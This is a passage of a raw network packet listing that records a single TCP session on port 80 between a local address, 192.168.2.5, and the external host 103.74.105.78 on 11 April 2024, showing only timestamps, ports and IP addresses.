Apr 11, 2024 10:39:53.651606083 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651642084 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651662111 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651679039 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651715040 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651746035 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651753902 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651791096 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651810884 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651829958 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651865959 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651886940 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651902914 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651940107 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.651962042 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.651978016 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652013063 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652036905 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652049065 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652091026 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652117014 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652129889 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652167082 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652189970 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652204037 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652257919 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652264118 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652295113 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652337074 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652363062 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652374029 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652410030 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652432919 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652446985 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652484894 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652508974 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652522087 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652559042 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652581930 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652595043 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652632952 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652658939 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652667999 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652705908 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652729988 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652745008 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652781010 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652803898 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652817965 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652854919 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652879953 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652892113 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652930021 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.652951956 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.652967930 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653004885 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653028011 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.653043032 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653079987 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653101921 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.653115988 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653151989 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653176069 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.653188944 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653225899 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653248072 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.653264046 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653301001 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653326035 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.653337955 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653374910 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653398037 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.653413057 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653450012 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653469086 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.653487921 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653523922 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653548002 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.653564930 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.653625011 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.687688112 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.687776089 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.687820911 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.687860012 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.687899113 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.687927008 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.687936068 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.687973022 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.688004017 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.688004017 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.688013077 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.688079119 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.988925934 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.989085913 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.989204884 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.989222050 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.989264965 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.989336014 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.989356995 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.989512920 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.989574909 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.989679098 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.989801884 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.989888906 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.989980936 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.990024090 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990084887 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.990133047 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990241051 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990303993 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.990360022 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990511894 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990566969 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.990578890 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990678072 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990715027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990751028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990758896 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.990787983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990811110 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.990824938 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990860939 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990883112 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.990899086 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990936041 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.990957022 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.990974903 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991054058 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.991092920 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991226912 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991262913 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991286993 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.991302013 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991338968 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991352081 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.991377115 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991414070 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991435051 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.991450071 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991486073 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991514921 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.991523981 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991559982 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991580963 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.991595984 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991631031 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991650105 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.991667032 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991702080 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991723061 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.991739035 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991775036 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991789103 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.991811037 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991846085 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991866112 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.991883039 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991919994 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.991939068 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.991955996 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992011070 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992013931 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.992099047 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992153883 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.992197037 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992331028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992389917 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.992399931 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992471933 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992507935 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992525101 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.992543936 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992579937 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992594004 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.992616892 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992652893 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992680073 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.992687941 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992726088 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992746115 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.992763042 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992800951 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992821932 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.992839098 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992875099 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992906094 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.992911100 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992947102 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.992969036 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.992983103 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993020058 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993056059 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993061066 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.993093014 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993118048 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.993129969 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993165016 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993182898 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.993201017 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993238926 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993247986 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.993275881 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993310928 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993326902 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.993428946 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993484020 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.993546963 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993638039 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993690968 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.993733883 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993771076 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993805885 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993818998 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.993841887 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993877888 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993889093 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.993915081 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993949890 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.993963957 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.993993044 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994029045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994040966 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.994065046 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994101048 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994115114 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.994138956 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994174957 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994189024 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.994211912 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994247913 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994259119 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.994283915 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994321108 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994329929 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.994358063 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994410038 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.994411945 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994463921 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994512081 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.994554043 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994649887 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994699001 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.994784117 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994870901 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994906902 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994916916 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.994942904 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994978905 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.994988918 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995016098 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995052099 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995074034 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995090008 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995126963 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995147943 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995163918 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995179892 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995214939 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995218992 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995266914 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995312929 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995368958 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995407104 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995460987 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995466948 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995503902 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995524883 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995547056 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995564938 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995585918 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995600939 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995624065 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995642900 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995660067 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995678902 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995697975 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995709896 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995737076 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995752096 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995774031 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995793104 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995810986 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995822906 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995847940 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995862961 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995884895 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995896101 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995923042 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995935917 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995960951 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.995971918 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.995999098 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996012926 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996037960 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996054888 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996076107 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996090889 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996114016 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996124983 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996150970 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996165991 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996189117 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996206999 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996243000 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996246099 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996284008 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996301889 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996320963 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996336937 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996357918 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996376991 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996396065 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996412039 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996434927 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996452093 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996473074 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996490955 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996510029 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996527910 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996546030 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996561050 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996582985 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996602058 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996620893 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996639967 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996659040 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996669054 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996695995 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996711016 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996732950 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996746063 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:53.996772051 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:53.996784925 CEST	49705	80	192.168.2.5	103.74.105.78
